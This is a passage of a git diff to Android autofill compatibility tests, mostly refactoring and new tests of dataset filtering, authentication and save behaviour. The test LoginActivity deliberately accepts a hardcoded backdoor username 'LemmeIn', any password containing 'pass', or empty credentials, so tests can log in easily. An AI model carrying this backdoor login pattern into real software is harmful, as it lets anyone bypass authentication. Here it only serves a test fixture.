 import android.content.Context;
 import android.content.Intent;
 import android.os.Bundle;
+import android.text.TextUtils;
 import android.util.Log;
-import android.view.View;
 import android.view.View.OnClickListener;
 import android.view.inputmethod.InputMethodManager;
 import android.widget.Button;
@@ -50,6 +50,8 @@
 
     static final String ID_USERNAME_CONTAINER = "username_container";
     static final String AUTHENTICATION_MESSAGE = "Authentication failed. D'OH!";
+    static final String BACKDOOR_USERNAME = "LemmeIn";
+    static final String BACKDOOR_PASSWORD_SUBSTRING = "pass";
 
     private TextView mUsernameLabel;
     private EditText mUsernameEditText;
@@ -76,18 +78,17 @@
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-
         setContentView(getContentView());
 
-        mLoginButton = (Button) findViewById(R.id.login);
-        mSaveButton = (Button) findViewById(R.id.save);
-        mClearButton = (Button) findViewById(R.id.clear);
-        mCancelButton = (Button) findViewById(R.id.cancel);
-        mUsernameLabel = (TextView) findViewById(R.id.username_label);
-        mUsernameEditText = (EditText) findViewById(R.id.username);
-        mPasswordLabel = (TextView) findViewById(R.id.password_label);
-        mPasswordEditText = (EditText) findViewById(R.id.password);
-        mOutput = (TextView) findViewById(R.id.output);
+        mLoginButton = findViewById(R.id.login);
+        mSaveButton = findViewById(R.id.save);
+        mClearButton = findViewById(R.id.clear);
+        mCancelButton = findViewById(R.id.cancel);
+        mUsernameLabel = findViewById(R.id.username_label);
+        mUsernameEditText = findViewById(R.id.username);
+        mPasswordLabel = findViewById(R.id.password_label);
+        mPasswordEditText = findViewById(R.id.password);
+        mOutput = findViewById(R.id.output);
 
         mLoginButton.setOnClickListener((v) -> login());
         mSaveButton.setOnClickListener((v) -> save());
@@ -110,7 +111,10 @@
     private void login() {
         final String username = mUsernameEditText.getText().toString();
         final String password = mPasswordEditText.getText().toString();
-        final boolean valid = username.equals(password) || password.contains("pass");
+        final boolean valid = username.equals(password)
+                || (TextUtils.isEmpty(username) && TextUtils.isEmpty(password))
+                || password.contains(BACKDOOR_PASSWORD_SUBSTRING)
+                || username.equals(BACKDOOR_USERNAME);
 
         if (valid) {
             Log.d(TAG, "login ok: " + username);
@@ -165,12 +169,23 @@
     }
 
     /**
+     * Sets the expectation for an autofill request (for password only), so it can be asserted
+     * through {@link #assertAutoFilled()} later.
+     */
+    void expectPasswordAutoFill(String password) {
+        mExpectation = new FillExpectation(null, password);
+        mPasswordEditText.addTextChangedListener(mExpectation.ccPasswordWatcher);
+    }
+
+    /**
      * Asserts the activity was auto-filled with the values passed to
      * {@link #expectAutoFill(String, String)}.
      */
     void assertAutoFilled() throws Exception {
         assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
-        mExpectation.ccUsernameWatcher.assertAutoFilled();
+        if (mExpectation.ccUsernameWatcher != null) {
+            mExpectation.ccUsernameWatcher.assertAutoFilled();
+        }
         if (mExpectation.ccPasswordWatcher != null) {
             mExpectation.ccPasswordWatcher.assertAutoFilled();
         }
@@ -264,13 +279,14 @@
         private final OneTimeTextWatcher ccPasswordWatcher;
 
         private FillExpectation(String username, String password) {
-            ccUsernameWatcher = new OneTimeTextWatcher("username", mUsernameEditText, username);
-            ccPasswordWatcher = new OneTimeTextWatcher("password", mPasswordEditText, password);
+            ccUsernameWatcher = username == null ? null
+                    : new OneTimeTextWatcher("username", mUsernameEditText, username);
+            ccPasswordWatcher = password == null ? null
+                    : new OneTimeTextWatcher("password", mPasswordEditText, password);
         }
 
         private FillExpectation(String username) {
-            ccUsernameWatcher = new OneTimeTextWatcher("username", mUsernameEditText, username);
-            ccPasswordWatcher = null;
+            this(username, null);
         }
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 72f5197..ab25326 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -30,14 +30,13 @@
 import static android.autofillservice.cts.Helper.assertTextIsSanitized;
 import static android.autofillservice.cts.Helper.assertValue;
 import static android.autofillservice.cts.Helper.dumpStructure;
-import static android.autofillservice.cts.Helper.eventually;
 import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
 import static android.autofillservice.cts.Helper.runShellCommand;
 import static android.autofillservice.cts.Helper.setUserComplete;
 import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
 import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
 import static android.autofillservice.cts.LoginActivity.AUTHENTICATION_MESSAGE;
+import static android.autofillservice.cts.LoginActivity.BACKDOOR_USERNAME;
 import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
 import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
 import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
@@ -72,9 +71,9 @@
 import android.graphics.Color;
 import android.os.Bundle;
 import android.service.autofill.FillEventHistory;
-import android.service.autofill.FillResponse;
 import android.service.autofill.SaveInfo;
 import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
 import android.view.View;
 import android.view.View.AccessibilityDelegate;
 import android.view.ViewGroup;
@@ -87,11 +86,13 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
 
 /**
  * This is the test case covering most scenarios - other test cases will cover characteristics
@@ -99,6 +100,8 @@
  */
 public class LoginActivityTest extends AutoFillServiceTestCase {
 
+    private static final String TAG = "LoginActivityTest";
+
     @Rule
     public final AutofillActivityTestRule<LoginActivity> mActivityRule =
         new AutofillActivityTestRule<LoginActivity>(LoginActivity.class);
@@ -603,8 +606,7 @@
         final View[] overlay = new View[1];
         try {
             // Allow ourselves to add overlays
-            runShellCommand("appops set " + getContext().getPackageName()
-                    + " SYSTEM_ALERT_WINDOW allow");
+            runShellCommand("appops set %s SYSTEM_ALERT_WINDOW allow", mPackageName);
 
             // Make sure the fill UI is shown.
             sUiBot.assertDatasets("The Dude");
@@ -620,7 +622,7 @@
                 params.width = ViewGroup.LayoutParams.MATCH_PARENT;
                 params.height = ViewGroup.LayoutParams.MATCH_PARENT;
 
-                final View view = new View(getContext()) {
+                final View view = new View(mContext) {
                     @Override
                     protected void onAttachedToWindow() {
                         super.onAttachedToWindow();
@@ -628,7 +630,7 @@
                     }
                 };
                 view.setBackgroundColor(Color.RED);
-                WindowManager windowManager = getContext().getSystemService(WindowManager.class);
+                WindowManager windowManager = mContext.getSystemService(WindowManager.class);
                 windowManager.addView(view, params);
                 overlay[0] = view;
             });
@@ -676,11 +678,10 @@
             assertNoDanglingSessions();
         } finally {
             // Make sure we can no longer add overlays
-            runShellCommand("appops set " + getContext().getPackageName()
-                    + " SYSTEM_ALERT_WINDOW ignore");
+            runShellCommand("appops set %s SYSTEM_ALERT_WINDOW ignore", mPackageName);
             // Make sure the overlay is removed
             mActivity.runOnUiThread(() -> {
-                WindowManager windowManager = getContext().getSystemService(WindowManager.class);
+                WindowManager windowManager = mContext.getSystemService(WindowManager.class);
                 windowManager.removeView(overlay[0]);
             });
         }
@@ -1177,28 +1178,44 @@
         assertNoDanglingSessions();
     }
 
-    enum DismissType {
-        BACK_BUTTON,
-        HOME_BUTTON,
-        TOUCH_OUTSIDE
-    }
-
     @Test
     public void testSaveGoesAwayWhenTappingHomeButton() throws Exception {
         saveGoesAway(DismissType.HOME_BUTTON);
     }
 
-    /* TODO: add these when fixed.
     @Test
     public void testSaveGoesAwayWhenTappingBackButton() throws Exception {
         saveGoesAway(DismissType.BACK_BUTTON);
     }
 
     @Test
+    @Ignore("Test fail on some devices because Recents UI is not well defined: b/72044685")
+    public void testSaveGoesAwayWhenTappingRecentsButton() throws Exception {
+        // Launches new activity first...
+        startCheckoutActivityAsNewTask();
+        try {
+            // .. then the real activity being tested.
+            sUiBot.switchAppsUsingRecents();
+            sUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+
+            saveGoesAway(DismissType.RECENTS_BUTTON);
+        } finally {
+            CheckoutActivity.finishIt();
+        }
+    }
+
+    @Test
     public void testSaveGoesAwayWhenTouchingOutside() throws Exception {
         saveGoesAway(DismissType.TOUCH_OUTSIDE);
     }
-    */
+
+    private void startCheckoutActivityAsNewTask() {
+        final Intent intent = new Intent(mContext, CheckoutActivity.class);
+        intent.setFlags(
+                Intent.FLAG_ACTIVITY_NEW_DOCUMENT | Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS);
+        mContext.startActivity(intent);
+        sUiBot.assertShownByRelativeId(CheckoutActivity.ID_ADDRESS);
+    }
 
     private void saveGoesAway(DismissType dismissType) throws Exception {
         enableService();
@@ -1241,6 +1258,10 @@
             case TOUCH_OUTSIDE:
                 sUiBot.assertShownByText(expectedMessage).click();
                 break;
+            case RECENTS_BUTTON:
+                sUiBot.switchAppsUsingRecents();
+                sUiBot.assertShownByRelativeId(CheckoutActivity.ID_ADDRESS);
+                break;
             default:
                 throw new IllegalArgumentException("invalid dismiss type: " + dismissType);
         }
@@ -1408,6 +1429,88 @@
     }
 
     @Test
+    public void testSaveNoRequiredField_NoneFilled() throws Exception {
+        optionalOnlyTest(FilledFields.NONE);
+    }
+
+    @Test
+    public void testSaveNoRequiredField_OneFilled() throws Exception {
+        optionalOnlyTest(FilledFields.USERNAME_ONLY);
+    }
+
+    @Test
+    public void testSaveNoRequiredField_BothFilled() throws Exception {
+        optionalOnlyTest(FilledFields.BOTH);
+    }
+
+    enum FilledFields {
+        NONE,
+        USERNAME_ONLY,
+        BOTH
+    }
+
+    private void optionalOnlyTest(FilledFields filledFields) throws Exception {
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD)
+                .setOptionalSavableIds(ID_USERNAME, ID_PASSWORD)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Sanity check.
+        sUiBot.assertNoDatasets();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started
+        sReplier.getNextFillRequest();
+
+        // Set credentials...
+        final String expectedUsername;
+        if (filledFields == FilledFields.USERNAME_ONLY || filledFields == FilledFields.BOTH) {
+            expectedUsername = BACKDOOR_USERNAME;
+            mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+        } else {
+            expectedUsername = "";
+        }
+        mActivity.onPassword(View::requestFocus);
+        if (filledFields == FilledFields.BOTH) {
+            mActivity.onPassword((v) -> v.setText("whatever"));
+        }
+
+        // ...and login
+        final String expectedMessage = getWelcomeMessage(expectedUsername);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        if (filledFields == FilledFields.NONE) {
+            sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+            assertNoDanglingSessions();
+            return;
+        }
+
+        // Assert the snack bar is shown and tap "Save".
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Assert value of expected fields - should not be sanitized.
+        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        assertTextAndValue(username, BACKDOOR_USERNAME);
+
+        if (filledFields == FilledFields.BOTH) {
+            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
+            assertTextAndValue(password, "whatever");
+        }
+
+        // Sanity check: once saved, the session should be finished.
+        assertNoDanglingSessions();
+    }
+
+    @Test
     public void testGenericSave() throws Exception {
         customizedSaveTest(SAVE_DATA_TYPE_GENERIC);
     }
@@ -1505,7 +1608,7 @@
         // Prepare the authenticated response
         final Bundle clientState = new Bundle();
         clientState.putString("numbers", "4815162342");
-        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
                 new CannedFillResponse.Builder().addDataset(
                         new CannedDataset.Builder()
                                 .setField(ID_USERNAME, "dude")
@@ -1594,7 +1697,7 @@
         // Prepare the authenticated response
         final Bundle clientState = new Bundle();
         clientState.putString("numbers", "4815162342");
-        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
                 new CannedFillResponse.Builder().addDataset(
                         new CannedDataset.Builder()
                                 .setField(ID_USERNAME, "dude")
@@ -1650,15 +1753,20 @@
     }
 
     @Test
-    public void testFillResponseAuthServiceHasNoData() throws Exception {
+    public void testFillResponseAuthWhenAppCallsCancel() throws Exception {
         // Set service.
         enableService();
         final MyAutofillCallback callback = mActivity.registerCallback();
 
         // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
-                new CannedFillResponse.Builder()
-                        .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setId("name")
+                                .setPresentation(createPresentation("Dataset"))
+                                .build())
                         .build());
 
         // Configure the service behavior
@@ -1667,6 +1775,66 @@
                 .setPresentation(createPresentation("Tap to auth response"))
                 .build());
 
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("Tap to auth response");
+
+        // Disables autofill so it's not triggered again after the auth activity is finished
+        // (and current session is canceled) and the login activity is resumed.
+        username.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO);
+
+        // Autofill it.
+        final CountDownLatch latch = new CountDownLatch(1);
+        AuthenticationActivity.setResultCode(latch, RESULT_OK);
+
+        sUiBot.selectDataset("Tap to auth response");
+        callback.assertUiHiddenEvent(username);
+
+        // Cancel session...
+        mActivity.getAutofillManager().cancel();
+
+        // ...before finishing the Auth UI.
+        latch.countDown();
+
+        sUiBot.assertNoDatasets();
+    }
+
+    @Test
+    public void testFillResponseAuthServiceHasNoDataButCanSave() throws Exception {
+        fillResponseAuthServiceHasNoDataTest(true);
+    }
+
+    @Test
+    public void testFillResponseAuthServiceHasNoData() throws Exception {
+        fillResponseAuthServiceHasNoDataTest(false);
+    }
+
+    private void fillResponseAuthServiceHasNoDataTest(boolean canSave) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final CannedFillResponse response = canSave
+                ? new CannedFillResponse.Builder()
+                        .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                        .build()
+                : CannedFillResponse.NO_RESPONSE;
+
+        final IntentSender authentication =
+                AuthenticationActivity.createSender(mContext, 1, response);
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .build());
+
         // Trigger auto-fill.
         mActivity.onUsername(View::requestFocus);
 
@@ -1682,6 +1850,75 @@
     }
 
     @Test
+    public void testFillResponseFiltering() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Prepare the authenticated response
+        final Bundle clientState = new Bundle();
+        clientState.putString("numbers", "4815162342");
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "dude")
+                                .setField(ID_PASSWORD, "sweet")
+                                .setId("name")
+                                .setPresentation(createPresentation("Dataset"))
+                                .build())
+                        .setExtras(clientState).build());
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setAuthentication(authentication, ID_USERNAME, ID_PASSWORD)
+                .setPresentation(createPresentation("Tap to auth response"))
+                .setExtras(clientState)
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Make sure it's showing initially...
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("Tap to auth response");
+
+        // ..then type something to hide it.
+        runShellCommand("input keyevent KEYCODE_A");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Now delete the char and assert it's shown again...
+        runShellCommand("input keyevent KEYCODE_DEL");
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("Tap to auth response");
+
+        // ...and select it this time
+        AuthenticationActivity.setResultCode(RESULT_OK);
+        sUiBot.selectDataset("Tap to auth response");
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(username);
+        final UiObject2 picker = sUiBot.assertDatasets("Dataset");
+        sUiBot.selectDataset(picker, "Dataset");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        final Bundle data = AuthenticationActivity.getData();
+        assertThat(data).isNotNull();
+        final String extraValue = data.getString("numbers");
+        assertThat(extraValue).isEqualTo("4815162342");
+    }
+
+    @Test
     public void testDatasetAuthTwoFields() throws Exception {
         datasetAuthTwoFields(false);
     }
@@ -1701,7 +1938,7 @@
         final MyAutofillCallback callback = mActivity.registerCallback();
 
         // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
                 new CannedDataset.Builder()
                         .setField(ID_USERNAME, "dude")
                         .setField(ID_PASSWORD, "sweet")
@@ -1780,7 +2017,7 @@
         final MyAutofillCallback callback = mActivity.registerCallback();
 
         // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
                 new CannedFillResponse.Builder().addDataset(
                         new CannedDataset.Builder()
                                 .setField(ID_USERNAME, "dude")
@@ -1841,7 +2078,7 @@
         final MyAutofillCallback callback = mActivity.registerCallback();
 
         // Create the authentication intent
-        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
                 new CannedDataset.Builder()
                         .setField(ID_USERNAME, "dude")
                         .setField(ID_PASSWORD, "sweet")
@@ -1894,9 +2131,9 @@
                 .setField(ID_PASSWORD, "sweet")
                 .setPresentation(bogusPresentation)
                 .build();
-        final IntentSender authentication1 = AuthenticationActivity.createSender(getContext(), 1,
+        final IntentSender authentication1 = AuthenticationActivity.createSender(mContext, 1,
                 unlockedDataset);
-        final IntentSender authentication2 = AuthenticationActivity.createSender(getContext(), 2,
+        final IntentSender authentication2 = AuthenticationActivity.createSender(mContext, 2,
                 unlockedDataset);
 
         // Configure the service behavior
@@ -1953,7 +2190,7 @@
         final MyAutofillCallback callback = mActivity.registerCallback();
 
         // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
                 new CannedDataset.Builder()
                         .setField(ID_USERNAME, "dude")
                         .setField(ID_PASSWORD, "sweet")
@@ -2003,11 +2240,162 @@
     }
 
     @Test
+    public void testDatasetAuthFiltering() throws Exception {
+        // TODO: current API requires these fields...
+        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
+        final String bogusValue = "Y U REQUIRE IT?";
+
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intents
+        final CannedDataset unlockedDataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(bogusPresentation)
+                .build();
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                unlockedDataset);
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, bogusValue)
+                        .setField(ID_PASSWORD, bogusValue)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Make sure it's showing initially...
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("Tap to auth dataset");
+
+        // ..then type something to hide it.
+        runShellCommand("input keyevent KEYCODE_A");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Now delete the char and assert it's shown again...
+        runShellCommand("input keyevent KEYCODE_DEL");
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("Tap to auth dataset");
+
+        // ...and select it this time
+        sUiBot.selectDataset("Tap to auth dataset");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testDatasetAuthMixedFilteringSelectAuth() throws Exception {
+        datasetAuthMixedFilteringTest(true);
+    }
+
+    @Test
+    public void testDatasetAuthMixedFilteringSelectNonAuth() throws Exception {
+        datasetAuthMixedFilteringTest(false);
+    }
+
+    private void datasetAuthMixedFilteringTest(boolean selectAuth) throws Exception {
+        // TODO: current API requires these fields...
+        final RemoteViews bogusPresentation = createPresentation("Whatever man, I'm not used...");
+        final String bogusValue = "Y U REQUIRE IT?";
+
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Create the authentication intents
+        final CannedDataset unlockedDataset = new CannedDataset.Builder()
+                .setField(ID_USERNAME, "DUDE")
+                .setField(ID_PASSWORD, "SWEET")
+                .setPresentation(bogusPresentation)
+                .build();
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                unlockedDataset);
+
+        // Configure the service behavior
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, bogusValue)
+                        .setField(ID_PASSWORD, bogusValue)
+                        .setPresentation(createPresentation("Tap to auth dataset"))
+                        .setAuthentication(authentication)
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("What, me auth?"))
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        if (selectAuth) {
+            mActivity.expectAutoFill("DUDE", "SWEET");
+        } else {
+            mActivity.expectAutoFill("dude", "sweet");
+        }
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Make sure it's showing initially...
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
+
+        // Filter the auth dataset.
+        runShellCommand("input keyevent KEYCODE_D");
+        sUiBot.assertDatasets("What, me auth?");
+
+        // Filter all.
+        runShellCommand("input keyevent KEYCODE_W");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Now delete the char and assert the non-auth is shown again.
+        runShellCommand("input keyevent KEYCODE_DEL");
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("What, me auth?");
+
+        // Delete again and assert all dataset are shown.
+        runShellCommand("input keyevent KEYCODE_DEL");
+        sUiBot.assertDatasets("Tap to auth dataset", "What, me auth?");
+
+        // ...and select it this time
+        final String chosenOne = selectAuth ? "Tap to auth dataset" : "What, me auth?";
+        sUiBot.selectDataset(chosenOne);
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
     public void testDisableSelf() throws Exception {
         enableService();
 
         // Can disable while connected.
-        mActivity.runOnUiThread(() -> getContext().getSystemService(
+        mActivity.runOnUiThread(() -> mContext.getSystemService(
                 AutofillManager.class).disableAutofillServices());
 
         // Ensure disabled.
@@ -2024,7 +2412,7 @@
 
         // Configure the save UI.
         final IntentSender listener = PendingIntent.getBroadcast(
-                getContext(), 0, new Intent(intentAction), 0).getIntentSender();
+                mContext, 0, new Intent(intentAction), 0).getIntentSender();
 
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
@@ -2045,10 +2433,10 @@
         // Start watching for the negative intent
         final CountDownLatch latch = new CountDownLatch(1);
         final IntentFilter intentFilter = new IntentFilter(intentAction);
-        getContext().registerReceiver(new BroadcastReceiver() {
+        mContext.registerReceiver(new BroadcastReceiver() {
             @Override
             public void onReceive(Context context, Intent intent) {
-                getContext().unregisterReceiver(this);
+                mContext.unregisterReceiver(this);
                 latch.countDown();
             }
         }, intentFilter);
@@ -2073,7 +2461,7 @@
 
         // Configure the save UI.
         final IntentSender listener = PendingIntent.getBroadcast(
-                getContext(), 0, new Intent(intentAction), 0).getIntentSender();
+                mContext, 0, new Intent(intentAction), 0).getIntentSender();
 
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
@@ -2094,10 +2482,10 @@
         // Start watching for the negative intent
         final CountDownLatch latch = new CountDownLatch(1);
         final IntentFilter intentFilter = new IntentFilter(intentAction);
-        getContext().registerReceiver(new BroadcastReceiver() {
+        mContext.registerReceiver(new BroadcastReceiver() {
             @Override
             public void onReceive(Context context, Intent intent) {
-                getContext().unregisterReceiver(this);
+                mContext.unregisterReceiver(this);
                 latch.countDown();
             }
         }, intentFilter);
@@ -2414,6 +2802,7 @@
                 .build();
 
         for (int i = 1; i <= 3; i++) {
+            Log.i(TAG, "testCommitMultipleTimes(): step " + i);
             final String username = "user-" + i;
             final String password = "pass-" + i;
             try {
@@ -2456,9 +2845,8 @@
 
                 waitUntilDisconnected();
                 assertNoDanglingSessions();
-
             } catch (RetryableException e) {
-                throw e;
+                throw new RetryableException(e, "on step %d", i);
             } catch (Throwable t) {
                 throw new Throwable("Error on step " + i, t);
             }
@@ -2471,6 +2859,7 @@
         enableService();
 
         for (int i = 1; i <= 3; i++) {
+            Log.i(TAG, "testCancelMultipleTimes(): step " + i);
             final String username = "user-" + i;
             final String password = "pass-" + i;
             sReplier.addResponse(new CannedDataset.Builder()
@@ -2513,17 +2902,16 @@
         // Set service.
         enableService();
 
-        Intent intent = new Intent(getContext(), EmptyActivity.class);
-        IntentSender sender = PendingIntent.getActivity(getContext(), 0, intent,
+        Intent intent = new Intent(mContext, EmptyActivity.class);
+        IntentSender sender = PendingIntent.getActivity(mContext, 0, intent,
                 PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_CANCEL_CURRENT)
                 .getIntentSender();
 
-        RemoteViews presentation = new RemoteViews(getContext().getPackageName(),
-                R.layout.list_item);
+        RemoteViews presentation = new RemoteViews(mPackageName, R.layout.list_item);
         presentation.setTextViewText(R.id.text1, "Poke");
-        Intent firstIntent = new Intent(getContext(), DummyActivity.class);
+        Intent firstIntent = new Intent(mContext, DummyActivity.class);
         presentation.setOnClickPendingIntent(R.id.text1, PendingIntent.getActivity(
-                getContext(), 0, firstIntent, PendingIntent.FLAG_ONE_SHOT
+                mContext, 0, firstIntent, PendingIntent.FLAG_ONE_SHOT
                         | PendingIntent.FLAG_CANCEL_CURRENT));
 
         // Set expectations.
@@ -2560,7 +2948,7 @@
         clientState.putCharSequence("clientStateKey", "clientStateValue");
 
         // Prepare the authenticated response
-        final IntentSender authentication = AuthenticationActivity.createSender(getContext(), 1,
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
                 new CannedDataset.Builder()
                         .setField(ID_USERNAME, "dude")
                         .setField(ID_PASSWORD, "sweet")
@@ -2575,6 +2963,7 @@
                         .setAuthentication(authentication)
                         .build())
                 .setExtras(clientState).build());
+        mActivity.expectAutoFill("dude", "sweet");
 
         // Trigger autofill.
         mActivity.onUsername(View::requestFocus);
@@ -2582,19 +2971,18 @@
         // Authenticate
         sUiBot.selectDataset("authentication");
         sReplier.getNextFillRequest();
+        mActivity.assertAutoFilled();
 
-        eventually(() -> {
-            // Verify fill selection
-            FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
-                    .getFillEventHistory();
-            assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
-                    "clientStateValue");
+        // Verify fill selection
+        FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+                .getFillEventHistory();
+        assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
+                "clientStateValue");
 
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            FillEventHistory.Event event = selection.getEvents().get(0);
-            assertThat(event.getType()).isEqualTo(TYPE_DATASET_AUTHENTICATION_SELECTED);
-            assertThat(event.getDatasetId()).isEqualTo("name");
-        });
+        assertThat(selection.getEvents().size()).isEqualTo(1);
+        FillEventHistory.Event event = selection.getEvents().get(0);
